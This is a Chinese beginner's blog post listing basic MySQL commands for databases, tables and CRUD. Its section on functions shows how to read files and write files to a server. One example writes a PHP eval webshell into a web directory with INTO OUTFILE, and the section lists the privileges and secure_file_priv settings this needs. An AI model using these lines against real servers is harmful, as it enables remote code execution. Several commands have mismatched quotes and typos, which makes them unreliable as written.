mysql数据库基本命令

1 篇文章 0 订阅
1 篇文章 0 订阅

mysql数据库基本命令

1.登录数据库

mysql -uroot -proot

2.新建/删除数据库

新建:create database test;
删除:drop database test;

3.打开数据库

use test

4.当前选择的库字段

select database();

5.显示数据库表字段

describe users;

6.当前库数据表结构

show tables;

7.创建数据表

语法:CREATE TABLE [表名]([字段名] 字段类型 [字段参数], …);
例如:

create table user(
id int(11) NOT NULL, 
username varchar(255),
password varchar(255),
primary key(id)
)charset=utf8;

8.更改数据表

语法:
ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE
ALTER TABLE [表名] ADD PRIMARY KEY ([字段名])
例如:

alter table users add column email varchar(50);

说明:更改表的定义把某个栏位设为主键。
TABLE [表名] DROP PRIMARY KEY ([字段名])

显示ALTER当前表字段:

show columns from tablename;

9.增删改查

a.添加

语法:INSERT INTO [表名] VALUES(‘’,‘’,…顺序排列的数据);

例如:insert user values(0,'1','123456');
b.查询

语法: SELECT * FROM [表名] WHERE ([条件]);

例如:select * from users where id=1;
c.删除

语法:DELETE FROM [表名] WHERE ([条件]);

例如:delete from users where id=1;
d.修改

语法:UPDATE [表名] SET [修改内容] WHERE [条件];

例如:update users set name = 'my404.cn' where id=1;

10.常用函数

database()
user()
version()

SELECT LOAD_FILE(/1.php’);
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'
select'<?php @eval($_POST[chabug]);?>'INTO OUTFILE 'E:\Web\errors.php’

限制条件:
1)需要知道Web目录的绝对路径。
2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on . to root@localhost;
3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。

select host from mysql.user into dumpfile '/tmp/user1.txt’;

限制条件:
只能导出一行。可执行2进制文件用into outfile函数导出,导出后就会被破坏

11.secure_file_priv

MySQL不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:
查看配置项:
SHOW VARIABLES LIKE "secure_file_priv“
如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:

select 123 into outfile '/var/lib/mysql-files/test1.txt '

限制mysqld 不允许导入 | 导出:

mysqld --secure_file_prive=null

限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:

mysqld --secure_file_priv=/tmp/

不对mysqld 的导入 | 导出做限制:

cat /etc/my.conf

[mysqld]
secure_file_priv=
数据库版本很重要!

注:以上数据库名为:test,表名为:users,仅当举例,可以不同。

本人小白一枚,如果各位老哥发现错误,还望指出

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

木尤

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值